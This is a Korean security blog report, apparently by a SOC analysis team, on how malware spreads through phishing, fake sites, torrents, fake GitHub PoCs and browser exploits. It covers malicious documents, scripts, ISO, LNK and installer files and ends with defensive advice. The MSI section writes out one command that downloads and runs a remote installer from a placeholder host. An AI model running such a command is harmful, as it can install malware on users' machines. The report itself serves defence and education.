상세 컨텐츠

본문 제목

악성코드 초기 공격벡터 및 유형별 특징과 대응 방안

악성코드 분석 리포트

by Hexer 2022. 12. 23. 16:44

본문

 

1. 개요

해커들은 다양한 목적 달성을 위해 악성코드를 공격에 활용하고 있다. 직접 악성코드를 제작하여 사용하는가 하면, 다크웹을 통해 유료로 구매하여 사용하기도 한다. 특히 랜섬웨어의 경우, 판매자와 공격자가 수익의 일부를 나눠 갖는 서비스형 랜섬웨어(RaaS, Ransomware-as-a-Service) 구조가 성행하면서 악성코드를 활용한 사이버 공격의 초기 진입 장벽은 더욱 낮아지고 있다.

악성코드를 직접 제작하거나 구매하지 않더라도 악성코드를 확보할 대안은 다양하다.

깃허브 저장소 등에서 오픈소스로 공유되는 악성코드를 활용할 수 있고, 유료로 거래되는 악성코드의 유출된 크랙 버전을 활용할 수도 있다. 뿐만 아니라, 범죄 그룹 내부 불화로 인해 악성코드의 소스코드나 빌더가 유출되는 사례도 발생하고 있기 때문에 공격에 활용할 악성코드를 확보하는 것은 오늘날 그리 어려운 일이 아니게 되었다.

 

해커는 이러한 방식으로 공격에 활용할 악성코드를 확보한 이후 이를 유포하기 위한 방안을 구상한다. 불특정 다수를 대상으로 악성코드를 유포하여 그 자체로 소기의 목적을 달성하는가 하면, 악성코드에 감염된 시스템을 거점으로 삼아 해킹의 시발점으로 활용하기도 한다.

 

본 문서에서는 악성코드 유포 시 자주 활용되는 초기 공격 벡터 중 일반 사용자들이 자주 접하게 되는 대표적인 초기 공격 벡터에 대해 알아보고, 이를 통해 유포되는 악성코드를 유형별로 크게 5가지로 분류하여 그 특징을 살펴보도록 하겠다.

 

2. 악성코드 유포 시 활용되는 초기 공격 벡터

공격자들은 악성코드를 유포하기 위해 다양한 초기 공격 벡터를 활용한다. 예를 들어 특정 봇넷 악성코드의 경우, 인터넷에 오픈 되어 있는 SSH, RDP, MSSQL 등을 대량으로 스캔하여 무작위 대입공격을 통해 최초 침투 후 악성코드를 설치하여 봇넷을 형성한다. 한편, 웹서버인 경우에는 웹쉘을 업로드 후 악성코드를 추가 설치하기도 하며, 이 외에도 패치 되지 않은 애플리케이션에 대한 익스플로잇을 통해 악성코드를 유포하기도 한다. 이처럼 공격자들은 악성코드를 유포하기 위해 다양한 초기 공격 벡터를 활용하고 있으며, 본 장에서는 그 중 일반 사용자들이 자주 접하게 되는 대표적인 초기 공격벡터에 대해 살펴보도록 하겠다.

 

 01) 피싱 이메일

해커들은 사회공학기법을 활용하여 정상적인 이메일처럼 위장한 피싱 이메일을 보낸다. 이는 특정 타겟을 목표로 한 스피어 피싱 이메일이 될 수도, 불특정 다수를 대상으로 한 피싱 이메일이 될 수도 있다.

피싱 이메일은 크게 링크가 삽입되어 있는 케이스와 첨부파일이 포함되어 있는 케이스로 구분할 수 있다. [그림 1]은 견적의뢰 건으로 위장하여 악성 첨부 파일 열람을 유도하는 피싱 이메일이다.

[그림 1] 피싱 이메일

 

보안 솔루션 탐지를 우회하기 위해 악성 첨부 파일에 비밀번호를 설정해 두고 이를 메일 본문에 기재해 두는 방식의 피싱 사례도 발견된다.

[그림 2] 피싱 이메일 (출처 : 이스트시큐리티)

 

다음은 첨부된 파일은 정상이지만 메일 본문에 악성 다운로드 링크가 포함된 피싱 사례이다.

[그림 3] 피싱 이메일 (출처 : 안랩)

 

이메일 링크나 첨부파일을 통해 유포되는 악성코드는 압축파일(.zip, .7z), HTML 및 HTA 파일(.html, .hta), 스크립트 파일(.js), 인스톨러 파일(.msi), 실행 파일(.exe), ISO 파일(.iso), 링크 파일(.lnk), 문서 파일(.docx, .xslx, .pptx, .hwp) 등 다양한 유형이 발견되고 있다.

 

 02) 피싱 사이트

해커들은 피싱 사이트를 이용하여 악성코드를 유포하고 있다. 대표적으로 국내 유명 메신저인 카카오톡의 다운로드 공식 사이트를 정교하게 사칭한 피싱 사이트를 통해 악성코드를 유포한 사례가 있다. 해당 피싱 사이트의 경우, 일반적인 사용자들은 공식 홈페이지와 구분이 힘들 정도로 정교하게 제작되었기 때문에 URL 등을 꼼꼼히 확인하지 않을 경우 의심없이 설치파일로 위장한 악성코드를 다운로드하여 감염될 위험이 있다.

[그림 4] 카카오톡 메신저 공식사이트로 위장한 피싱 사이트 (출처 : 안랩)

 

반면, 해커가 직접 피싱 사이트를 구축하는 것 대신 정상적인 웹사이트를 해킹하여 피싱 페이지를 노출시키는 사례도 발견된다. 대표적으로 Revil 랜섬웨어 그룹의 경우, 정상적인 웹사이트를 해킹하여 악성 자바스크립트를 삽입한 뒤, 일반 사용자가 접속 시 가짜 Q&A 포럼 페이지가 오버레이 되도록 조작하였다. 해킹된 사이트를 접속하면 [그림 5]와 같이 악성코드 다운로드 링크가 존재하는 가짜 Q&A 포럼 페이지가 나타난다. 일반적인 사용자들은 자칫 의심없이 링크를 클릭하여 악성코드를 다운로드하여 감염될 위험이 있다.

[그림 5] 가짜 Q&A 포럼 페이지

 

 03) 웹하드, 토렌트, 유튜브, 깃허브

해커들은 웹하드나 토렌트를 악성코드 유포 경로로 활용하고 있다. 악성코드를 영화나 드라마, 기타 정상적인 프로그램으로 위장하여 업로드함으로써 불특정 다수를 대상으로 유포하는 것이다.

[그림 6] 웹하드 사이트를 통한 악성코드 유포 (출처 : 안랩)

 

[그림 7] 토렌트를 통한 악성코드 유포 (출처 : 안랩)

 

유튜브 역시 악성코드 유포 경로로 활용된다. 이 경우, 신뢰도를 높이기 위해 마치 정상적인 프로그램인 것처럼 가장하기 위한 페이크 영상이 포함되는 경우가 많다.

[그림 8] 유튜브를 통한 악성코드 유포 (출처 : 안랩)

 

다양한 오픈소스 코드들이 공유되고 있는 깃허브 역시 악성코드 유포지로 활용된다.

새로운 취약점이 발견되었을 경우, PoC로 가장하여 보안 연구원들을 타겟으로 악성코드를 유포하는 사례가 다수 발견되고 있다. [그림 9]는 올해 공개된 윈도우 SMB 취약점(CVE-2022-24500)의 PoC로 위장한 악성코드가 유포되었던 깃허브 저장소이다. 현재 해당 깃허브 저장소는 삭제된 상태이다.

[그림 9] 깃허브를 통한 악성코드 유포

 

 04) 브라우저 익스플로잇

IE나 크롬 등 브라우저의 취약점을 익스플로잇 하여 악성코드를 유포하는 사례도 발견된다.

대표적으로, 한국을 집중 타겟으로 하는 것으로 알려진 매그니베르 랜섬웨어를 예로 들 수 있다.

올해 IE 브라우저의 지원 종료 이전까지 매그니베르 랜섬웨어는 주로 IE 브라우저의 취약점을 익스플로잇하여 유포되어 왔다. IE 브라우저 익스플로잇에 의해 매그니베르 랜섬웨어에 감염되는 과정을 간략히 정리하면 다음과 같다.

[그림 10] IE 브라우저 익스플로잇에 의한 매그니베르 랜섬웨어 감염 과정

 

(1)   해커는 무료 동영상 스트리밍 사이트와 같은 합법적이지 않은 사이트에 악성 광고를 노출시킨다. 이는 멀버타이징(Malvertising) 기법으로, 정상적인 광고 서비스의 네트워크를 악용하여 악성코드를 유포하는 방식이다.

 

(2)   악성 광고가 게시되어 있는 페이지를 방문한 사용자는 취약점을 익스플로잇 하기 위한 랜딩페이지로 리다이렉션 된다. 이 과정에서 별도의 사용자의 액션이 요구되지 않기 때문에 사용자는 랜섬웨어에 감염되어 파일이 암호화되기까지 이를 인지하지 못하는 경우가 많다.

 

(3)   랜딩페이지로 리다이렉션 되어 익스플로잇이 성공하면, IE 프로세스의 메모리에 쉘코드가 삽입된다. 쉘코드는 매그니베르 랜섬웨어 dll을 다운로드하여 메모리 상에서 실행시키는 기능을 하며, 이 과정은 파일리스(Fileless) 형태로 동작하기 때문에 디스크 상에서는 실제 매그니베르 랜섬웨어 파일을 확인할 수 없다.

 

3. 악성코드 유형

해커들은 앞서 살펴본 초기 공격 벡터들을 활용해 다양한 유형의 악성코드를 유포한다. 이번 장에서는 유포되는 악성코드를 파일 타입에 따라 유형별로 나누어 그 특징을 살펴보도록 하겠다.

 

 3.1 문서 악성코드

문서 악성코드는 주로 피싱 이메일을 통해 많이 접하게 되는 악성코드 유형 중 하나이다. 채용 담당자를 대상으로 이력서로 위장한 악성 문서 파일을 첨부한 피싱 이메일을 보내는 등 피해자의 이목을 끌 만한 내용으로 현혹하여 문서 파일을 열람하도록 유도한다.

문서 악성코드는 한글 문서 파일(.hwp), MS office 문서 파일(.doc[x], .xsl[x], .ppt[x]), PDF(.pdf) 형태로 유포되고 있다. 공격자는 이러한 문서 파일에서 제공하는 정상 기능을 악용하거나 취약점을 익스플로잇함으로써 악성코드를 유포한다.

 

  01) 문서 정상 기능 악용

먼저, 문서 파일의 정상적인 기능을 악용하는 유형을 크게 5가지로 나누어 살펴보도록 하겠다.

 

   (1) VBA 매크로

MS Office 문서 파일은 VBA라는 프로그래밍 언어로 작성 가능한 매크로를 지원한다. 이러한 매크로 기능은 다양한 작업을 자동화하기 위해 제공하는 정상적인 기능이지만, 공격자는 이를 악성코드 유포 수단으로 악용하고 있다.

기본적인 보안 설정 상 문서 열람 시 매크로가 자동으로 실행되지 않도록 되어 있으며, [그림 11]에서 보는 바와 같이 사용자가 ‘콘텐츠 사용’ 버튼을 클릭해야 매크로가 실행되는 구조이다.

이처럼 매크로가 동작하기 위해서는 사용자의 추가 액션이 필요하기 때문에 매크로가 포함된 악성 문서 파일은 “문서를 보기 위해 '편집 사용' 및 '콘텐츠 사용' 버튼을 누르세요” 와 같은 문구를 표시하여 매크로 실행을 유도하는 경우가 많다.

[그림 11] 매크로 실행 유도

 

[그림 12]는 ‘콘텐츠 사용’ 버튼을 누를 경우 실행되는 악성 매크로 코드 중 일부이다.

해당 매크로가 실행되면 인코딩 된 파워쉘 명령이 실행되면서 유포지에서 추가적인 악성코드를 다운로드하고 실행하게 된다.

[그림 12] 인코딩 된 파워쉘 명령을 실행하는 매크로 코드

 

   (2) 매크로 시트 (Excel 4.0 Macro)

MS Office Excel에서는 매크로 시트(Excel 4.0 Macro) 기능을 지원한다. 이는 각 셀의 수식과 함수를 순차적으로 실행하는 형태로 동작하기 때문에 비교적 손쉽게 매크로를 구현할 수 있다. 해커는 이러한 기능을 이용하여 악성 매크로를 제작하며, 추가적으로 시트 숨기기 기능을 이용하여 매크로 시트의 존재를 은폐하기도 한다.

VBA 매크로와 마찬가지로 사용자가 '콘텐츠 사용' 버튼을 클릭할 경우에 매크로가 동작하므로 초기 화면에는 매크로 실행을 유도하는 문구가 포함된 경우가 많다.

[그림 13] 매크로 실행 유도

 

매크로 시트의 존재를 숨기기 위해 시트 숨기기 기능을 이용하는 경우, 일반적인 사용자는 쉽게 알아차리기 힘들 수 있다.

[그림 14] 숨겨진 시트

 

매크로 시트(Excel 4.0 Macro)가 동작하면 시트 내 셀의 수식과 함수가 순차적으로 실행된다. [그림 15]는 악성 엑셀 문서의 숨겨진 시트에 존재하는 수식과 함수를 확인한 것이며, 유포지에서 추가적인 악성코드를 다운로드하고 실행하는 기능을 한다.

[그림 15] 숨겨진 시트에 존재하는 수식과 함수

 

   (3) DDE (Dynamic Data Exchange)

DDE(Dynamic Data Exchange)는 윈도우에서 사용 가능한 응용 프로그램 간 데이터 전송을 위해 사용되는 기능이다. 해커는 DDE 기능을 악용하여 powershell, cmd, mshta 등과 같은 프로세스를 악의적인 커맨드와 함께 실행하여 악성코드를 유포한다.

DDE가 적용된 문서를 열람하면 "이 문서에 다른 파일을 참조하는 링크가 있습니다."라는 대화 상자가 나타난다. 대화 상자에서 “예(Y)”를 누르면 [그림 17]과 같은 대화 상자가 추가적으로 나타난다.

[그림 16] DDE가 적용된 문서 열람 시 대화 상자 표시

 

해당 샘플은 DDE 기능을 통해 mshta 프로세스를 실행하여 원격지의 악성코드(nowywin.hta)를 다운로드하도록 제작되었으며, [그림 17]의 대화 상자에서 “예(Y)”를 누르면 mshta 프로세스가 실행되면서 악성코드를 다운로드하게 된다.

[그림 17] DDE가 적용된 문서 열람 시 대화 상자 표시

 

[그림 18] mshta 프로세스를 이용한 악성코드 다운로드

 

DDE 기능이 포함된 문서에서는 DDEAUTO 키워드가 포함된 DDE 필드를 확인할 수 있다. 해당 필드에서 DDE를 통해 실행되는 프로세스와 커맨드 라인을 확인 가능하다.

[그림 19] 문서에 존재하는 DDE 필드

 

   (4) 원격 템플릿

마이크로소프트 워드에서는 로컬이나 원격지의 호스트로부터 템플릿을 가져올 수 있는 기능을 제공하고 있다. 템플릿에는 VBA 매크로를 넣는 것도 가능하다. 해커들은 악성 매크로가 포함된 템플릿(.dotm)을 서버에 호스팅 해 두고 이를 가져오는 워드 문서 파일을 제작하여 유포하고 있다.

원격 템플릿 기능이 포함된 워드 문서를 열면 원격지에서 악의적인 매크로가 포함된 템플릿을 다운로드하며, 다운로드 완료 시 해당 템플릿이 문서에 적용되어 매크로 보안 경고 메시지가 나타난다.

[그림 20] ms로 위장한 사이트에서 원격 템플릿을 다운로드 하는 예시

 

[그림 21] 원격 템플릿 적용 후 매크로 보안 경고 메시지 표시

 

만약 사용자가 “콘텐츠 사용” 버튼을 누르면 매크로가 동작하면서 추가 악성코드를 다운로드하여 실행한다. 이는 일반적인 VBA 매크로가 포함된 문서에 원격 템플릿 기능을 추가 활용한 형태로써, 최초 문서에는 VBA 매크로가 포함되어 있지 않기 때문에 이메일 게이트웨이를 통과할 수 있다.

 

원격 템플릿 기능이 존재하는 악성 문서(.docx)를 압축 해제 시 “/word/_rels/settings.xml.rels” 파일에서 원격 템플릿 다운로드 URL을 확인할 수 있다.

[그림 22] /word/_rels/settings.xml.rels

 

   (5) OLE(Object Linking & Embedding)

OLE(Object Linking & Embedding)는 윈도우 응용 프로그램 간에 문서나 그림, 차트, 음악 파일 등과 같은 객체를 공유하기 위해 고안된 기술이다. 그리고 OLE 개체란, 윈도우 응용프로그램이 만들어 낸 결과물을 말한다. 예를 들어, 엑셀로 작성한 차트나 녹음 프로그램에 의해 만들어진 음성 파일 등이 OLE 개체라 할 수 있다.

한글문서는 문서 내부에 이러한 OLE 개체를 포함할 수 있도록 하기 위해 ‘OLE 개체 연결 삽입’ 기능을 제공한다. 이는 정상적인 기능이지만 문서 내부 혹은 외부에 있는 파일을 연결하여 실행시킬 수 있는 구조이기 때문에 해커들은 이를 활용한 악성 문서를 제작하여 유포하고 있다.

[그림 23]은 한글문서 내에 악성 OLE 개체를 삽입한 뒤, 하얀색 이미지로 숨겨둔 샘플의 예시이다.

[그림 23] 문서 내 삽입된 OLE 개체 (출처 : 안랩)

 

본문은 프로필 양식을 기입하도록 유도하고 있으며, 공백을 작성하여 악성 OLE 개체와 연결되도록 하이퍼링크가 설정되어 있다. OLE 개체는 문서 실행 시 %TEMP% 경로에 자동으로 생성이 되기 때문에 하이퍼링크로 연결되는 OLE 개체의 경로는 %TEMP% 경로로 설정된다.

[그림 24] 삽입된 OLE 개체를 하이퍼링크로 연결 (출처 : 안랩)

 

OLE 개체를 직접 클릭하거나 이와 연결된 하이퍼링크를 클릭하면 악성 OLE 개체가 실행된다. 단, 즉시 실행되는 것을 방지하기 위하여 [그림 25]와 같은 보안 경고 메시지가 나타난다. 단, 한글문서의 버전이나 문서 보안 수준 설정에 따라 다를 수 있다.

[그림 25] 보안 경고 메시지

 

  02) 취약점 익스플로잇

앞서 살펴본 바와 같이 정상적인 기능을 악용하는 문서의 경우에는 악성행위 발현을 위해 ‘버튼 클릭’, ‘링크 클릭’ 등과 같은 사용자의 추가적인 상호작용이 요구된다. 하지만, 취약점을 익스플로잇하는 경우에는 사용자의 추가적인 상호작용이 필요하지 않으며 단지 문서를 실행하기만해도 악성코드에 감염이 된다.

 

   (1) CVE-2017-11882

CVE-2017-11882 취약점은 Microsoft Office 구성요소인 Microsoft 수식편집기(EQNEDT32.EXE)에서 폰트 레코드의 폰트명을 처리하는 과정에서 스택 버퍼 오버플로우가 발생하여 쉘코드 실행을 가능하게 하는 취약점이다. 해당 취약점을 악용하면 취약한 버전에서 문서를 열람하는 것 만으로도 쉘코드를 실행시킬 수 있다.

[그림 26] 수식편집기 취약점을 악용하는 악성 문서 샘플

 

수식이 포함된 문서를 열면 이를 처리하기 위해 수식 편집기(EQNEDT32.EXE)가 실행된다.

[그림 27] 수식편집기 프로그램(EQNEDT32.EXE)

 

만약 취약한 버전을 사용할 경우, 수식 편집기(EQNEDT32.EXE) 프로세스의 메모리에 쉘코드가 로드되고 실행된다. 해당 샘플의 경우, 취약점으로 인해 쉘코드가 실행되면 원격지에서 추가 악성코드를 다운로드한다.

[그림 28] 수식편집기 프로세스의 메모리에 쉘코드가 로드되어 추가 악성코드 다운로드

 

  (2) CVE-2017-8291

CVE-2017-8291 취약점은 포스트스크립트 언어를 처리하는 인터프리터인 고스트스크립트가 한글 문서 내 EPS(Encapsulated PostScript, EPS) 파일을 처리하는 과정에서 발생하는 취약점이다. EPS 파일은 포스트스크립트 언어에서 사용되는 그래픽 파일 포맷으로써, 공격자는 EPS 파일에 쉘코드가 포함된 포스트스크립트를 작성하여 한글 문서에 삽입한다.

[그림 29] 한글문서에 삽입된 EPS 파일

 

[그림 30]은 한글문서 내 삽입되어 있는 EPS 파일의 포스트스크립트를 확인한 것이다. 특정 변수에 쉘코드가 포함되어 있고, 이를 xor 디코딩하여 실행하는 구조로 동작한다. 취약한 버전을 사용하는 경우 사용자의 추가적인 상호작용없이 문서를 열람하기만해도 쉘코드가 실행되어 악성코드에 감염될 수 있다.

[그림 30] 한글문서 내부 EPS 파일

 

 3.2 스크립트 악성코드

윈도우에서는 브라우저에 의존하지 않고 자체적으로 스크립트를 실행할 수 있는 WSH(Windows Script Host) 기능을 제공하고 있다. 이로 인해 윈도우 시스템에서 .vbs, .js, .hta 등과 같은 스크립트 파일을 더블 클릭하는 것만으로도 스크립트 실행이 가능하다. .vbs, .js 파일은 실행 시 wscript.exe 혹은 cscript.exe에 의해서 실행이 된다. .hta 파일에는 HTML 및 스크립트 언어가 포함될 수 있으며, mshta.exe에 의해서 실행이 된다.

[그림 31] 윈도우에서 .js, .hta 파일 실행 시 프로세스

 

이처럼 윈도우에서는 브라우저와 독립적으로 스크립트 실행이 가능하기 때문에 공격자들은 VBScript, JScript, HTA(HTML Application)와 같은 스크립트 형태의 악성코드를 유포하고 있다.

 

[그림 32]는 JScript 형태로 유포된 소디노키비 랜섬웨어 샘플이다. 해당 스크립트는 탐지 우회 및 분석 방해를 위해 난독화가 적용되어 있다.

[그림 32] 난독화 된 JScript

 

행위 분석을 위해 난독화를 해제한 뒤 소스 코드를 확인해보면, 추가 데이터 수신을 위해 3개의 URL에 접속 시도하는 것을 알 수 있다.

[그림 33] 난독화 해제된 JScript 中

 

스크립트는 최종적으로 유포지에서 소디노키비 랜섬웨어를 다운로드하여 메모리 상에서 실행시키는 기능을 수행한다. 이 때, 랜섬웨어 자체는 디스크에 파일로 저장되지 않고 메모리 상에서만 실행되므로 파일리스(Fileless) 형태를 띤다.

 

 3.3 ISO 악성코드

윈도우 8 이전에는 ISO 이미지를 마운트 하기 위해서 별도의 프로그램 설치가 필요하였다. 하지만, 윈도우 8 이상부터는 별도의 프로그램 설치 없이 단지 ISO 이미지 파일을 더블 클릭하는 것만으로도 마운트가 가능하게 되었다. ISO 이미지에 대한 마운트 기능이 기본적으로 제공됨에 따라 공격자들 역시 이를 악성코드 유포에 활용하기 시작했다. [그림 34]는 악성코드를 포함하고 있는 ISO 악성코드 샘플이다. ISO도 기본적으로 아카이브 형태이기 때문에 마운트를 시키지 않고 압축 프로그램을 통해서도 내부 파일을 확인이 가능하다.

[그림 34] ISO 악성코드

 

ISO 파일을 더블 클릭하면 [그림 35]와 같이 자동으로 마운트 되며, 마운트 된 드라이브 경로에서 악성코드를 확인할 수 있다. 해당 악성코드는 문서 파일인 것처럼 속이기 위해 아이콘과 파일명을 위장하고 있는 실행파일(.exe)이다. 만약 파일 확장자 숨기기가 설정된 경우에는 pdf 파일로 오인하여 실행할 위험이 있다.

[그림 35] 더블 클릭하여 실행 시 자동 마운트 되는 ISO 파일 (Windows 8 이상)

 

 3.4 LNK 악성코드

윈도우에서는 다른 파일을 연결시켜주는 바로가기 파일 형식(.lnk)을 제공하고 있다. 자주 사용하는 프로그램이 있다면 빠른 실행을 위해 바탕화면에 바로가기 파일(.lnk)을 생성해 두는 방식으로 활용할 수 있기 때문에 일반 사용자들에게도 친숙한 파일 형식 중 하나이다.

공격자들은 이러한 바로가기 기능을 악성코드에 활용하고 있다. 바로가기 연결 대상을 cmd나 powershell과 같은 프로그램으로 설정하여 악의적인 Command Line을 실행한다.

[그림 36]은 아이콘과 파일명을 정상적인 문서인 것처럼 위장하고 있는 LNK 악성코드 샘플이다.

바로가기 연결 대상을 확인해보면 cmd를 이용해 Command Line을 실행하는 것을 알 수 있다.

[그림 36] LNK 악성코드

 

해당 Command Line은 findstr 명령으로 LNK 파일 내부에서 특정 키워드를 검색하여 스크립트의 시작 위치를 구하고 이를 %tmp% 경로에 .vbs 파일로 생성하여 실행하는 기능을 수행한다.

[그림 37] LNK 파일 내 삽입되어 있는 VBScript

 

다음은 LNK 파일을 실행하여 %tmp% 경로에 생성된 VBScript 파일(.vbs)을 확인한 것이다.

[그림 38] LNK 악성코드 실행 시 생성된 VBScript

 

 3.5 윈도우 인스톨러 악성코드

윈도우 인스톨러는 윈도우 운영체제에 프로그램을 설치할 수 있게 해주는 소프트웨어이다.

윈도우 인스톨러 유형으로는 NSIS(NullSoft Install System), MSI(MicroSoft Installer) 등이 있으며, 공격자들은 이러한 윈도우 인스톨러 형태의 악성코드를 제작하여 유포하고 있다.

 

  01) NSIS (NullSoft Install System)

널소프트 인스톨러(NSIS)는 윈도우 EXE 파일과 확장자(.exe) 및 시그니처(“4D 5A”)가 동일하며, 실행 시 내장하고 있는 파일을 특정 경로에 드롭하여 실행하는 방식으로 동작한다.

[그림 39] NSIS 악성코드의 확장자와 시그니처 확인

 

NSIS 악성코드는 압축 프로그램을 이용하여 내장하고 있는 파일을 추출할 수 있으며, 7z의 특정 버전을 이용할 경우 NSI 스크립트(.nsi)까지 추출이 가능하다. NSI 스크립트는 NSIS 악성코드 실행 시 동작하는 스크립트로써, 어느 경로에 무슨 파일이 설치되고 실행되는지와 같은 행위가 기술되어 있으므로 분석 시 우선적으로 확인이 필요한 파일이다.

[그림 40] 7z 프로그램을 이용해 NSIS 내부 파일 확인

 

[그림 41]은 해당 샘플의 NSI 스크립트 중 일부이다. %TEMP% 경로에 3개의 파일(nxrpixnc.exe, yzbdggnhbml.r, uczmmw.yes)을 생성한 뒤, 생성된 파일 중 nxrpixnc.exe를 실행하는 것을 알 수 있다.

[그림 41] NSI 스크립트

 

다음은 NSIS 악성코드를 실행했을 때 %TEMP% 경로에 생성된 파일을 확인한 것이다.

[그림 42] NSIS 악성코드 실행 시 %TEMP% 경로에 생성되는 파일

 

  02) MSI (MicroSoft Installer)

MSI 형태의 인스톨러는 .msi 확장자를 가지며, 파일 시그니처는 구버전 문서 파일(doc, xls 등)과 같은 “D0 CF”로 시작한다. 즉 MSI 파일은 독립적인 실행파일이 아니며, 실행 시 msiexec.exe 프로세스에 의해 실행이 된다.

[그림 43] MSI 악성코드의 확장자 및 시그니처 확인

 

MSI 파일을 실행하면 아래와 같이 msiexec.exe 프로세스에 해당 MSI 파일의 경로가 인자로 전달되어 실행이 된다.

[그림 44] MSI 악성코드 실행 시 프로세스

 

로컬에 존재하는 MSI 파일 뿐만 아니라, 원격지에 존재하는 MSI 파일을 다운로드하여 실행할 수도 있다. 원격지에 존재하는 MSI 파일을 다운로드하여 실행하는 예시는 다음과 같다.

msiexec.exe /i http://www.abc.co.kr/test.msi

 

또한, NSIS 인스톨러와 마찬가지로 압축 프로그램을 통해 내부 파일을 추출이 가능하다. [그림 45]는 압축 프로그램을 통해 MSI 악성코드 샘플 내 바이너리 파일(설치될 파일)을 확인한 것이다.

[그림 45] 압축 프로그램을 통해 MSI 악성코드 내 바이너리 파일 확인

 

4. 대응 방안

지금까지 일반 사용자들이 많이 접하게 되는 악성코드 유포 방식과 그로 인해 유포되는 다양한 악성코드 유형에 대해 알아보았다. 공격자들은 점차 악성코드를 유포하기 위해 고도화되고 다양한 전략을 구사하고 있으므로 그에 따른 대응 방안이 필요하다. 본 문서에서 다룬 내용을 토대로 구상한 대응 방안은 다음과 같다.

 

- 출처가 불분명한 이메일 내의 링크 클릭 및 첨부 파일 열람을 지양해야 하며, 기업 내에서는 임직원을 대상으로 주기적인 모의훈련을 실시하여 직원들의 보안 인식을 함양해야 한다.
 
- 인터넷을 통해 프로그램을 다운로드 하는 경우, 반드시 공식 사이트를 이용하도록 하며, 다운로드 시 도메인 주소의 철자를 확인하는 등 부수적인 검증 과정을 수행한다.
 
- 브라우저나 MS Office, 아래아한글 등과 같은 애플리케이션 및 OS에 대한 버전을 주기적으로 확인하여 최신 버전을 유지하도록 한다.
 
- 파일을 실행하기 전 확장자를 확인한다. 만약 아이콘과 확장자가 서로 다르거나 파일명에 확장자가 포함되어 있는 등 의심스러운 정황이 발견되면 실행 시 주의가 필요하다.
 
- 윈도우에서는 JScript, VBScript, hta 와 같은 스크립트 파일도 더블 클릭을 통해 실행이 가능하다. 따라서, 무심코 이를 실행하지 않도록 주의하며, 실행 전 소스 검증이 선행되어야 한다.
 
- 문서에 매크로가 포함되어 있고 출처가 확인되지 않은 경우, ‘콘텐츠 사용’ 혹은 ‘매크로 포함’ 과 같은 버튼을 클릭하지 않도록 한다.
 
- 문서에 DDE 기능이 포함되어 있는 경우에 표시되는 대화 상자('이 문서에 다른 파일을 참조하는 링크가 있습니다. 연결된 파일의 데이터로 문서를 업데이트하시겠습니까?') 에서 ‘예(Y)’를 클릭하지 않도록 한다. 매크로가 포함된 문서와 마찬가지로 출처에 대한 사전 검증이 필요하다.
 
- 무료 TV/드라마 다시보기 사이트와 같이 합법적이지 않은 사이트 이용을 자제한다. 매그니베르 랜섬웨어의 경우, 해당 사이트에 악성 광고를 노출시켜 브라우저 취약점을 통해 랜섬웨어를 유포한 사례가 확인된 바 있다.

 

 

보안관제센터 MIR Team

관련글 더보기

댓글 영역